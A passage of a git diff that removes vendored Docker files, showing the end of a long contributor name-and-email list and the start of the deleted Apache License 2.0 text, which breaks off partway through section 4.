-Eohyung Lee -epeterso -Eric Barch -Eric Curtin -Eric G. Noriega -Eric Hanchrow -Eric Lee -Eric Myhre -Eric Paris -Eric Rafaloff -Eric Rosenberg -Eric Sage -Eric Soderstrom -Eric Yang -Eric-Olivier Lamey -Erica Windisch -Erik Bray -Erik Dubbelboer -Erik Hollensbe -Erik Inge Bolsø -Erik Kristensen -Erik St. Martin -Erik Weathers -Erno Hopearuoho -Erwin van der Koogh -Ethan Bell -Euan Kemp -Eugen Krizo -Eugene Yakubovich -Evan Allrich -Evan Carmi -Evan Hazlett -Evan Krall -Evan Phoenix -Evan Wies -Evelyn Xu -Everett Toews -Evgeny Shmarnev -Evgeny Vereshchagin -Ewa Czechowska -Eystein MÃĨløy Stenberg -ezbercih -Ezra Silvera -Fabian Lauer -Fabiano Rosas -Fabio Falci -Fabio Kung -Fabio Rapposelli -Fabio Rehm -Fabrizio Regini -Fabrizio Soppelsa -Faiz Khan -falmp -Fangming Fang -Fangyuan Gao <21551127@zju.edu.cn> -Fareed Dudhia -Fathi Boudra -Federico Gimenez -Felipe Oliveira -Felix Abecassis -Felix Geisendoˈrfer -Felix Hupfeld -Felix Rabe -Felix Ruess -Felix Schindler -Feng Yan -Fengtu Wang -Ferenc Szabo -Fernando -Fero Volar -Ferran Rodenas -Filipe Brandenburger -Filipe Oliveira -Flavio Castelli -Flavio Crisciani -Florian -Florian Klein -Florian Maier -Florian Noeding -Florian Weingarten -Florin Asavoaie -Florin Patan -fonglh -Foysal Iqbal -Francesc Campoy -Francis Chuang -Francisco Carriedo -Francisco Souza -Frank Groeneveld -Frank Herrmann -Frank Macreery -Frank Rosquin -Fred Lifton -Frederick F. Kautz IV -Frederik Loeffert -Frederik Nordahl Jul Sabroe -Freek Kalter -Frieder Bluemle -FÊlix Baylac-JacquÊ -FÊlix Cantournet -Gabe Rosenhouse -Gabor Nagy -Gabriel Linder -Gabriel Monroy -Gabriel Nicolas Avellaneda -Gaetan de Villele -Galen Sampson -Gang Qiao -Gareth Rushgrove -Garrett Barboza -Gary Schaetz -Gaurav -gautam, prasanna -GaÃĢl PORTAY -Genki Takiuchi -GennadySpb -Geoffrey Bachelet -George Kontridze -George MacRorie -George Xie -Georgi Hristozov -Gereon Frey -German DZ -Gert van Valkenhoef -Gerwim Feiken -Ghislain Bourgeois -Giampaolo Mancini -Gianluca Borello -Gildas Cuisinier -gissehel -Giuseppe Mazzotta -Gleb Fotengauer-Malinovskiy -Gleb M Borisov -Glyn Normington -GoBella -Goffert van Gool -Gopikannan Venugopalsamy -Gosuke Miyashita -Gou Rao -Govinda Fichtner -Grant Reaber -Graydon Hoare -Greg Fausak -Greg Pflaum -Greg Stephens -Greg Thornton -Grzegorz Jaśkiewicz -Guilhem Lettron -Guilherme Salgado -Guillaume Dufour -Guillaume J. Charmes -guoxiuyan -Guri -Gurjeet Singh -Guruprasad -Gustav Sinder -gwx296173 -GÃŧnter ZÃļchbauer -Hakan Özler -Hans Kristian Flaatten -Hans Rødtang -Hao Shu Wei -Hao Zhang <21521210@zju.edu.cn> -Harald Albers -Harley Laue -Harold Cooper -Harry Zhang -Harshal Patil -Harshal Patil -He Simei -He Xiaoxi -He Xin -heartlock <21521209@zju.edu.cn> -Hector Castro -Helen Xie -Henning Sprang -Hiroshi Hatake -Hobofan -Hollie Teal -Hong Xu -Hongbin Lu -hsinko <21551195@zju.edu.cn> -Hu Keping -Hu Tao -Huanzhong Zhang -Huayi Zhang -Hugo Duncan -Hugo Marisco <0x6875676f@gmail.com> -Hunter Blanks -huqun -Huu Nguyen -hyeongkyu.lee -Hyzhou Zhy -Iago LÃŗpez Galeiras -Ian Babrou -Ian Bishop -Ian Bull -Ian Calvert -Ian Campbell -Ian Lee -Ian Main -Ian Philpot -Ian Truslove -Iavael -Icaro Seara -Ignacio Capurro -Igor Dolzhikov -Igor Karpovich -Iliana Weller -Ilkka Laukkanen -Ilya Dmitrichenko -Ilya Gusev -Ilya Khlopotov -imre Fitos -inglesp -Ingo Gottwald -Isaac Dupree -Isabel Jimenez -Isao Jonas -Ivan Babrou -Ivan Fraixedes -Ivan Grcic -Ivan Markin -J Bruni -J. Nunn -Jack Danger Canty -Jack Laxson -Jacob Atzen -Jacob Edelman -Jacob Tomlinson -Jacob Vallejo -Jacob Wen -Jaivish Kothari -Jake Champlin -Jake Moshenko -Jake Sanders -jakedt -James Allen -James Carey -James Carr -James DeFelice -James Harrison Fisher -James Kyburz -James Kyle -James Lal -James Mills -James Nesbitt -James Nugent -James Turnbull -Jamie Hannaford -Jamshid Afshar -Jan Keromnes -Jan Koprowski -Jan Pazdziora -Jan Toebes -Jan-Gerd Tenberge -Jan-Jaap Driessen -Jana Radhakrishnan -Jannick Fahlbusch -Januar Wayong -Jared Biel -Jared Hocutt -Jaroslaw Zabiello -jaseg -Jasmine Hegman -Jason Divock -Jason Giedymin -Jason Green -Jason Hall -Jason Heiss -Jason Livesay -Jason McVetta -Jason Plum -Jason Shepherd -Jason Smith -Jason Sommer -Jason Stangroome -jaxgeller -Jay -Jay -Jay Kamat -Jean-Baptiste Barth -Jean-Baptiste Dalido -Jean-Christophe Berthon -Jean-Paul Calderone -Jean-Pierre Huynh -Jean-Tiare Le Bigot -Jeeva S. Chelladhurai -Jeff Anderson -Jeff Hajewski -Jeff Johnston -Jeff Lindsay -Jeff Mickey -Jeff Minard -Jeff Nickoloff -Jeff Silberman -Jeff Welch -Jeffrey Bolle -Jeffrey Morgan -Jeffrey van Gogh -Jenny Gebske -Jeremy Chambers -Jeremy Grosser -Jeremy Price -Jeremy Qian -Jeremy Unruh -Jeremy Yallop -Jeroen Franse -Jeroen Jacobs -Jesse Dearing -Jesse Dubay -Jessica Frazelle -Jezeniel Zapanta -Jhon Honce -Ji.Zhilong -Jian Zhang -Jie Luo -Jihyun Hwang -Jilles Oldenbeuving -Jim Alateras -Jim Galasyn -Jim Minter -Jim Perrin -Jimmy Cuadra -Jimmy Puckett -Jimmy Song -jimmyxian -Jinsoo Park -Jiri Popelka -Jiuyue Ma -Jiří ÅŊupka -jjy -jmzwcn -Joao Fernandes -Joe Beda -Joe Doliner -Joe Ferguson -Joe Gordon -Joe Shaw -Joe Van Dyk -Joel Friedly -Joel Handwell -Joel Hansson -Joel Wurtz -Joey Geiger -Joey Geiger -Joey Gibson -Joffrey F -Johan Euphrosine -Johan Rydberg -Johanan Lieberman -Johannes 'fish' Ziemke -John Costa -John Feminella -John Gardiner Myers -John Gossman -John Harris -John Howard (VM) -John Laswell -John Maguire -John Mulhausen -John OBrien III -John Starks -John Stephens -John Tims -John V. Martinez -John Warwick -John Willis -Jon Johnson -Jon Surrell -Jon Wedaman -Jonas Pfenniger -Jonathan A. Sternberg -Jonathan Boulle -Jonathan Camp -Jonathan Choy -Jonathan Dowland -Jonathan Lebon -Jonathan Lomas -Jonathan McCrohan -Jonathan Mueller -Jonathan Pares -Jonathan Rudenberg -Jonathan Stoppani -Jonh Wendell -Joni Sar -Joost Cassee -Jordan Arentsen -Jordan Jennings -Jordan Sissel -Jorge Marin -Jorit Kleine-MÃļllhoff -Jose Diaz-Gonzalez -Joseph Anthony Pasquale Holsten -Joseph Hager -Joseph Kern -Joseph Rothrock -Josh -Josh Bodah -Josh Bonczkowski -Josh Chorlton -Josh Eveleth -Josh Hawn -Josh Horwitz -Josh Poimboeuf -Josh Soref -Josh Wilson -Josiah Kiehl -JosÊ TomÃĄs Albornoz -Joyce Jang -JP -Julian Taylor -Julien Barbier -Julien Bisconti -Julien Bordellier -Julien Dubois -Julien Kassar -Julien Maitrehenry -Julien PervillÊ -Julio Montes -Jun-Ru Chang -Jussi Nummelin -Justas Brazauskas -Justin Cormack -Justin Force -Justin Menga -Justin Plock -Justin Simonelis -Justin Terry -Justyn Temme -Jyrki Puttonen -JÊrôme Petazzoni -JÃļrg Thalheim -K. Heller -Kai Blin -Kai Qiang Wu (Kennan) -Kamil Domański -Kamjar Gerami -Kanstantsin Shautsou -Kara Alexandra -Karan Lyons -Kareem Khazem -kargakis -Karl Grzeszczak -Karol Duleba -Karthik Karanth -Karthik Nayak -Kate Heddleston -Katie McLaughlin -Kato Kazuyoshi -Katrina Owen -Kawsar Saiyeed -Kay Yan -kayrus -Ke Li -Ke Xu -Kei Ohmura -Keith Hudgins -Keli Hu -Ken Cochrane -Ken Herner -Ken ICHIKAWA -Kenfe-MickaÃĢl Laventure -Kenjiro Nakayama -Kent Johnson -Kevin "qwazerty" Houdebert -Kevin Burke -Kevin Clark -Kevin Feyrer -Kevin J. Lynagh -Kevin Jing Qiu -Kevin Kern -Kevin Menard -Kevin Meredith -Kevin P. Kucharczyk -Kevin Richardson -Kevin Shi -Kevin Wallace -Kevin Yap -Keyvan Fatehi -kies -Kim BKC Carlbacker -Kim Eik -Kimbro Staken -Kir Kolyshkin -Kiran Gangadharan -Kirill SIbirev -knappe -Kohei Tsuruta -Koichi Shiraishi -Konrad Kleine -Konstantin Gribov -Konstantin L -Konstantin Pelykh -Krasi Georgiev -Krasimir Georgiev -Kris-Mikael Krister -Kristian Haugene -Kristina Zabunova -krrg -Kun Zhang -Kunal Kushwaha -Kyle Conroy -Kyle Linden -kyu -Lachlan Coote -Lai Jiangshan -Lajos Papp -Lakshan Perera -Lalatendu Mohanty -Lance Chen -Lance Kinley -Lars Butler -Lars Kellogg-Stedman -Lars R. Damerow -Lars-Magnus Skog -Laszlo Meszaros -Laura Frank -Laurent Erignoux -Laurie Voss -Leandro Siqueira -Lee Chao <932819864@qq.com> -Lee, Meng-Han -leeplay -Lei Jitang -Len Weincier -Lennie -Leo Gallucci -Leszek Kowalski -Levi Blackstone -Levi Gross -Lewis Daly -Lewis Marshall -Lewis Peckover -Li Yi -Liam Macgillavry -Liana Lo -Liang Mingqiang -Liang-Chi Hsieh -Liao Qingwei -Lily Guo -limsy -Lin Lu -LingFaKe -Linus Heckemann -Liran Tal -Liron Levin -Liu Bo -Liu Hua -liwenqi -lixiaobing10051267 -Liz Zhang -LIZAO LI -Lizzie Dixon <_@lizzie.io> -Lloyd Dewolf -Lokesh Mandvekar -longliqiang88 <394564827@qq.com> -Lorenz Leutgeb -Lorenzo Fontana -Louis Opter -Luca Favatella -Luca Marturana -Luca Orlandi -Luca-Bogdan Grigorescu -Lucas Chan -Lucas Chi -Lucas Molas -Luciano Mores -Luis Martínez de BartolomÊ Izquierdo -Luiz Svoboda -Lukas Waslowski -lukaspustina -Lukasz Zajaczkowski -Luke Marsden -Lyn -Lynda O'Leary -LÊnaïc Huard -Ma MÃŧller -Ma Shimiao -Mabin -Madhan Raj Mookkandy -Madhav Puri -Madhu Venugopal -Mageee -Mahesh Tiyyagura -malnick -Malte Janduda -Manfred Touron -Manfred Zabarauskas -Manjunath A Kumatagi -Mansi Nahar -Manuel Meurer -Manuel RÃŧger -Manuel Woelker -mapk0y -Marc Abramowitz -Marc Kuo -Marc Tamsky -Marcel Edmund Franke -Marcelo Horacio Fortino -Marcelo Salazar -Marco Hennings -Marcus Cobden -Marcus Farkas -Marcus Linke -Marcus Martins -Marcus Ramberg -Marek Goldmann -Marian Marinov -Marianna Tessel -Mario Loriedo -Marius Gundersen -Marius Sturm -Marius Voila -Mark Allen -Mark McGranaghan -Mark McKinstry -Mark Milstein -Mark Oates -Mark Parker -Mark West -Markan Patel -Marko Mikulicic -Marko Tibold -Markus Fix -Markus Kortlang -Martijn Dwars -Martijn van Oosterhout -Martin Honermeyer -Martin Kelly -Martin Mosegaard Amdisen -Martin Redmond -Mary Anthony -Masahito Zembutsu -Masato Ohba -Masayuki Morita -Mason Malone -Mateusz Sulima -Mathias Monnerville -Mathieu Champlon -Mathieu Le Marec - Pasquet -Mathieu Parent -Matt Apperson -Matt Bachmann -Matt Bentley -Matt Haggard -Matt Hoyle -Matt McCormick -Matt Moore -Matt Richardson -Matt Rickard -Matt Robenolt -Matt Schurenko -Matt Williams -Matthew Heon -Matthew Lapworth -Matthew Mayer -Matthew Mosesohn -Matthew Mueller -Matthew Riley -Matthias Klumpp -Matthias KÃŧhnle -Matthias Rampke -Matthieu Hauglustaine -Mauricio Garavaglia -mauriyouth -Max Shytikov -Maxim Fedchyshyn -Maxim Ivanov -Maxim Kulkin -Maxim Treskin -Maxime Petazzoni -Meaglith Ma -meejah -Megan Kostick -Mehul Kar -Mei ChunTao -Mengdi Gao -Mert YazÄącÄąoğlu -mgniu -Micah Zoltu -Michael A. Smith -Michael Bridgen -Michael Brown -Michael Chiang -Michael Crosby -Michael Currie -Michael Friis -Michael Gorsuch -Michael Grauer -Michael Holzheu -Michael Hudson-Doyle -Michael Huettermann -Michael Irwin -Michael Käufl -Michael Neale -Michael Nussbaum -Michael Prokop -Michael Scharf -Michael Spetsiotis -Michael Stapelberg -Michael Steinert -Michael Thies -Michael West -Michal Fojtik -Michal Gebauer -Michal Jemala -Michal MinÃĄÅ™ -Michal Wieczorek -MichaÃĢl Pailloncy -Michał Czeraszkiewicz -Michał Gryko -Michiel@unhosted -MickaÃĢl FORTUNATO -Miguel Angel FernÃĄndez -Miguel Morales -Mihai Borobocea -Mihuleacc Sergiu -Mike Brown -Mike Casas -Mike Chelen -Mike Danese -Mike Dillon -Mike Dougherty -Mike Estes -Mike Gaffney -Mike Goelzer -Mike Leone -Mike Lundy -Mike MacCana -Mike Naberezny -Mike Snitzer -mikelinjie <294893458@qq.com> -Mikhail Sobolev -Miklos Szegedi -Milind Chawre -Miloslav Trmač -mingqing -Mingzhen Feng -Misty Stanley-Jones -Mitch Capper -Mizuki Urushida -mlarcher -Mohammad Banikazemi -Mohammed Aaqib Ansari -Mohit Soni -Moorthy RS -Morgan Bauer -Morgante Pell -Morgy93 -Morten Siebuhr -Morton Fox -MoysÊs Borges -mrfly -Mrunal Patel -Muayyad Alsadi -Mustafa AkÄąn -Muthukumar R -MÃĄximo Cuadros -MÊdi-RÊmi Hashim -Nace Oroz -Nahum Shalman -Nakul Pathak -Nalin Dahyabhai -Nan Monnand Deng -Naoki Orii -Natalie Parker -Natanael Copa -Nate Brennand -Nate Eagleson -Nate Jones -Nathan Hsieh -Nathan Kleyn -Nathan LeClaire -Nathan McCauley -Nathan Williams -Naveed Jamil -Neal McBurnett -Neil Horman -Neil Peterson -Nelson Chen -Neyazul Haque -Nghia Tran -Niall O'Higgins -Nicholas E. Rabenau -Nick DeCoursin -Nick Irvine -Nick Neisen -Nick Parker -Nick Payne -Nick Russo -Nick Stenning -Nick Stinemates -NickrenREN -Nicola Kabar -Nicolas BorboÃĢn -Nicolas De Loof -Nicolas Dudebout -Nicolas Goy -Nicolas Kaiser -Nicolas Sterchele -NicolÃĄs Hock Isaza -Nigel Poulton -Nik Nyby -Nikhil Chawla -NikolaMandic -Nikolas Garofil -Nikolay Milovanov -Nirmal Mehta -Nishant Totla -NIWA Hideyuki -Noah Meyerhans -Noah Treuhaft -NobodyOnSE -noducks -Nolan Darilek -nponeccop -Nuutti Kotivuori -nzwsch -O.S. Tezer -objectified -Oguz Bilgic -Oh Jinkyun -Ohad Schneider -ohmystack -Ole Reifschneider -Oliver Neal -Olivier Gambier -Olle Jonsson -Oriol Francès -Oskar Niburski -Otto Kekäläinen -Ouyang Liduo -Ovidio Mallo -Panagiotis Moustafellos -Paolo G. Giarrusso -Pascal -Pascal Borreli -Pascal Hartig -Patrick BÃļänziger -Patrick Devine -Patrick Hemmer -Patrick Stapleton -Patrik Cyvoct -pattichen -Paul -paul -Paul Annesley -Paul Bellamy -Paul Bowsher -Paul Furtado -Paul Hammond -Paul Jimenez -Paul Kehrer -Paul Lietar -Paul Liljenberg -Paul Morie -Paul Nasrat -Paul Weaver -Paulo Ribeiro -Pavel Lobashov -Pavel Pletenev -Pavel Pospisil -Pavel Sutyrin -Pavel Tikhomirov -Pavlos Ratis -Pavol Vargovcik -Pawel Konczalski -Peeyush Gupta -Peggy Li -Pei Su -Peng Tao -Penghan Wang -Per Weijnitz -perhapszzy@sina.com -Peter Bourgon -Peter Braden -Peter BÃŧcker -Peter Choi -Peter Dave Hello -Peter Edge -Peter Ericson -Peter Esbensen -Peter Jaffe -Peter Malmgren -Peter Salvatore -Peter Volpe -Peter Waller -Petr Å vihlík -Phil -Phil Estes -Phil Spitler -Philip Alexander Etling -Philip Monroe -Philipp GillÊ -Philipp Wahala -Philipp Weissensteiner -Phillip Alexander -phineas -pidster -Piergiuliano Bossi -Pierre -Pierre Carrier -Pierre Dal-Pra -Pierre Wacrenier -Pierre-Alain RIVIERE -Piotr Bogdan -pixelistik -Porjo -Poul Kjeldager Sørensen -Pradeep Chhetri -Pradip Dhara -Prasanna Gautam -Pratik Karki -Prayag Verma -Priya Wadhwa -Przemek Hejman -Pure White -pysqz -Qiang Huang -Qinglan Peng -qudongfang -Quentin Brossard -Quentin Perez -Quentin Tayssier -r0n22 -Rafal Jeczalik -Rafe Colton -Raghavendra K T -Raghuram Devarakonda -Raja Sami -Rajat Pandit -Rajdeep Dua -Ralf Sippl -Ralle -Ralph Bean -Ramkumar Ramachandra -Ramon Brooker -Ramon van Alteren -Ray Tsang -ReadmeCritic -Recursive Madman -Reficul -Regan McCooey -Remi Rampin -Remy Suen -Renato Riccieri Santos Zannon -Renaud Gaubert -Rhys Hiltner -Ri Xu -Ricardo N Feliciano -Rich Moyse -Rich Seymour -Richard -Richard Burnison -Richard Harvey -Richard Mathie -Richard Metzler -Richard Scothern -Richo Healey -Rick Bradley -Rick van de Loo -Rick Wieman -Rik Nijessen -Riku Voipio -Riley Guerin -Ritesh H Shukla -Riyaz Faizullabhoy -Rob Vesse -Robert Bachmann -Robert Bittle -Robert Obryk -Robert Schneider -Robert Stern -Robert Terhaar -Robert Wallis -Roberto G. Hashioka -Roberto MuÃąoz FernÃĄndez -Robin Naundorf -Robin Schneider -Robin Speekenbrink -robpc -Rodolfo Carvalho -Rodrigo Vaz -Roel Van Nyen -Roger Peppe -Rohit Jnagal -Rohit Kadam -Rojin George -Roland Huß -Roland Kammerer -Roland Moriz -Roma Sokolov -Roman Dudin -Roman Strashkin -Ron Smits -Ron Williams -root -root -root -root -Rory Hunter -Rory McCune -Ross Boucher -Rovanion Luckey -Royce Remer -Rozhnov Alexandr -Rudolph Gottesheim -Rui Lopes -Runshen Zhu -Ryan Abrams -Ryan Anderson -Ryan Aslett -Ryan Belgrave -Ryan Detzel -Ryan Fowler -Ryan Liu -Ryan McLaughlin -Ryan O'Donnell -Ryan Seto -Ryan Simmen -Ryan Stelly -Ryan Thomas -Ryan Trauntvein -Ryan Wallner -Ryan Zhang -ryancooper7 -RyanDeng -RÊmy Greinhofer -s. rannou -s00318865 -Sabin Basyal -Sachin Joshi -Sagar Hani -Sainath Grandhi -Sakeven Jiang -Sally O'Malley -Sam Abed -Sam Alba -Sam Bailey -Sam J Sharpe -Sam Neirinck -Sam Reis -Sam Rijs -Sambuddha Basu -Sami Wagiaalla -Samuel Andaya -Samuel Dion-Girardeau -Samuel Karp -Samuel PHAN -Sandeep Bansal -Sankar āŽšāŽ™ā¯āŽ•āŽ°ā¯ -Sanket Saurav -Santhosh Manohar -sapphiredev -Sargun Dhillon -Sascha Andres -Satnam Singh -Satoshi Amemiya -Satoshi Tagomori -Scott Bessler -Scott Collier -Scott Johnston -Scott Stamp -Scott Walls -sdreyesg -Sean Christopherson -Sean Cronin -Sean Lee -Sean McIntyre -Sean OMeara -Sean P. Kane -Sean Rodman -Sebastiaan van Steenis -Sebastiaan van Stijn -Senthil Kumar Selvaraj -Senthil Kumaran -SeongJae Park -Seongyeol Lim -Serge Hallyn -Sergey Alekseev -Sergey Evstifeev -Sergii Kabashniuk -Serhat GÃŧlçiçek -Sevki Hasirci -Shane Canon -Shane da Silva -Shaun Kaasten -shaunol -Shawn Landden -Shawn Siefkas -shawnhe -Shayne Wang -Shekhar Gulati -Sheng Yang -Shengbo Song -Shev Yan -Shih-Yuan Lee -Shijiang Wei -Shijun Qin -Shishir Mahajan -Shoubhik Bose -Shourya Sarcar -shuai-z -Shukui Yang -Shuwei Hao -Sian Lerk Lau -Sidhartha Mani -sidharthamani -Silas Sewell -Silvan Jegen -Simei He -Simon Eskildsen -Simon Ferquel -Simon Leinen -Simon Menke -Simon Taranto -Simon Vikstrom -Sindhu S -Sjoerd Langkemper -Solganik Alexander -Solomon Hykes -Song Gao -Soshi Katsuta -Soulou -Spencer Brown -Spencer Smith -Sridatta Thatipamala -Sridhar Ratnakumar -Srini Brahmaroutu -Srinivasan Srivatsan -Stanislav Bondarenko -Steeve Morin -Stefan Berger -Stefan J. Wernli -Stefan Praszalowicz -Stefan S. -Stefan Scherer -Stefan Staudenmeyer -Stefan Weil -Stephan Spindler -Stephen Crosby -Stephen Day -Stephen Drake -Stephen Rust -Steve Desmond -Steve Dougherty -Steve Durrheimer -Steve Francia -Steve Koch -Steven Burgess -Steven Erenst -Steven Hartland -Steven Iveson -Steven Merrill -Steven Richards -Steven Taylor -Subhajit Ghosh -Sujith Haridasan -Sun Gengze <690388648@qq.com> -Sun Jianbo -Sunny Gogoi -Suryakumar Sudar -Sven Dowideit -Swapnil Daingade -Sylvain Baubeau -Sylvain Bellemare -SÊbastien -SÊbastien HOUZÉ -SÊbastien Luttringer -SÊbastien Stormacq -Tabakhase -Tadej JaneÅž -TAGOMORI Satoshi -tang0th -Tangi Colin -Tatsuki Sugiura -Tatsushi Inagaki -Taylor Jones -tbonza -Ted M. Young -Tehmasp Chaudhri -Tejesh Mehta -terryding77 <550147740@qq.com> -tgic -Thatcher Peskens -theadactyl -Thell 'Bo' Fowler -Thermionix -Thijs Terlouw -Thomas Bikeev -Thomas FrÃļssman -Thomas Gazagnaire -Thomas Grainger -Thomas Hansen -Thomas Leonard -Thomas LÊveil -Thomas Orozco -Thomas Riccardi -Thomas Schroeter -Thomas SjÃļgren -Thomas Swift -Thomas Tanaka -Thomas Texier -Ti Zhou -Tianon Gravi -Tianyi Wang -Tibor Vass -Tiffany Jernigan -Tiffany Low -Tim Bart -Tim Bosse -Tim Dettrick -Tim DÃŧsterhus -Tim Hockin -Tim Potter -Tim Ruffles -Tim Smith -Tim Terhorst -Tim Wang -Tim Waugh -Tim Wraight -Tim Zju <21651152@zju.edu.cn> -timfeirg -Timothy Hobbs -tjwebb123 -tobe -Tobias Bieniek -Tobias Bradtke -Tobias Gesellchen -Tobias Klauser -Tobias Munk -Tobias Schmidt -Tobias Schwab -Todd Crane -Todd Lunter -Todd Whiteman -Toli Kuznets -Tom Barlow -Tom Booth -Tom Denham -Tom Fotherby -Tom Howe -Tom Hulihan -Tom Maaswinkel -Tom Sweeney -Tom Wilkie -Tom X. Tobin -Tomas Tomecek -Tomasz Kopczynski -Tomasz Lipinski -Tomasz Nurkiewicz -Tommaso Visconti -TomÃĄÅĄ Hrčka -Tonny Xu -Tony Abboud -Tony Daws -Tony Miller -toogley -Torstein Husebø -To˃nis Tiigi -tpng -tracylihui <793912329@qq.com> -Trapier Marshall -Travis Cline -Travis Thieman -Trent Ogren -Trevor -Trevor Pounds -Trevor Sullivan -Trishna Guha -Tristan Carel -Troy Denton -Tycho Andersen -Tyler Brock -Tzu-Jung Lee -uhayate -Ulysse Carion -Umesh Yadav -Utz Bacher -vagrant -Vaidas Jablonskis -vanderliang -Veres Lajos -Victor Algaze -Victor Coisne -Victor Costan -Victor I. Wood -Victor Lyuboslavsky -Victor Marmol -Victor Palma -Victor Vieux -Victoria Bialas -Vijaya Kumar K -Viktor Stanchev -Viktor Vojnovski -VinayRaghavanKS -Vincent Batts -Vincent Bernat -Vincent Demeester -Vincent Giersch -Vincent Mayers -Vincent Woo -Vinod Kulkarni -Vishal Doshi -Vishnu Kannan -Vitaly Ostrosablin -Vitor Monteiro -Vivek Agarwal -Vivek Dasgupta -Vivek Goyal -Vladimir Bulyga -Vladimir Kirillov -Vladimir Pouzanov -Vladimir Rutsky -Vladimir Varankin -VladimirAus -Vlastimil Zeman -Vojtech Vitek (V-Teq) -waitingkuo -Walter Leibbrandt -Walter Stanish -Wang Chao -Wang Guoliang -Wang Jie -Wang Long -Wang Ping -Wang Xing -Wang Yuexiao -Ward Vandewege -WarheadsSE -Wassim Dhif -Wayne Chang -Wayne Song -Weerasak Chongnguluam -Wei Wu -Wei-Ting Kuo -weipeng -weiyan -Weiyang Zhu -Wen Cheng Ma -Wendel Fleming -Wenjun Tang -Wenkai Yin -Wentao Zhang -Wenxuan Zhao -Wenyu You <21551128@zju.edu.cn> -Wenzhi Liang -Wes Morgan -Wewang Xiaorenfine -Will Dietz -Will Rouesnel -Will Weaver -willhf -William Delanoue -William Henry -William Hubbs -William Martin -William Riancho -William Thurston -WiseTrem -Wolfgang Powisch -Wonjun Kim -xamyzhao -Xianglin Gao -Xianlu Bird -XiaoBing Jiang -Xiaoxu Chen -Xiaoyu Zhang -xiekeyang -Xinbo Weng -Xinzi Zhou -Xiuming Chen -Xuecong Liao -xuzhaokui -Yahya -YAMADA Tsuyoshi -Yamasaki Masahide -Yan Feng -Yang Bai -Yang Pengfei -yangchenliang -Yanqiang Miao -Yao Zaiyong -Yassine Tijani -Yasunori Mahata -Yazhong Liu -Yestin Sun -Yi EungJun -Yibai Zhang -Yihang Ho -Ying Li -Yohei Ueda -Yong Tang -Yongzhi Pan -Yosef Fertel -You-Sheng Yang (æĨŠæœ‰å‹) -Youcef YEKHLEF -Yu Changchun -Yu Chengxia -Yu Peng -Yu-Ju Hong -Yuan Sun -Yuanhong Peng -Yuhao Fang -Yunxiang Huang -Yurii Rashkovskii -Yves Junqueira -Zac Dover -Zach Borboa -Zachary Jaffee -Zain Memon -Zaiste! -Zane DeGraffenried -Zefan Li -Zen Lin(Zhinan Lin) -Zhang Kun -Zhang Wei -Zhang Wentao -ZhangHang -zhangxianwei -Zhenan Ye <21551168@zju.edu.cn> -zhenghenghuo -Zhenkun Bi -Zhou Hao -Zhu Guihua -Zhu Kunjia -Zhuoyun Wei -Zilin Du -zimbatm -Ziming Dong -ZJUshuaizhou <21551191@zju.edu.cn> -zmarouf -Zoltan Tombol -Zou Yu -zqh -Zuhayr Elahi -Zunayed Ali -Álex GonzÃĄlez -Álvaro LÃĄzaro -Átila Camurça Alves -å°šå‰åŗ° -垐äŋŠæ° -慕é™ļ -搏通 -éģ„艺įēĸ00139573 diff --git a/vendor/github.com/docker/docker/LICENSE b/vendor/github.com/docker/docker/LICENSE deleted file mode 100644 index 9c8e20ab85..0000000000 --- a/vendor/github.com/docker/docker/LICENSE +++ /dev/null @@ -1,191 +0,0 @@ - - Apache License - Version 2.0, January 2004 - https://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, 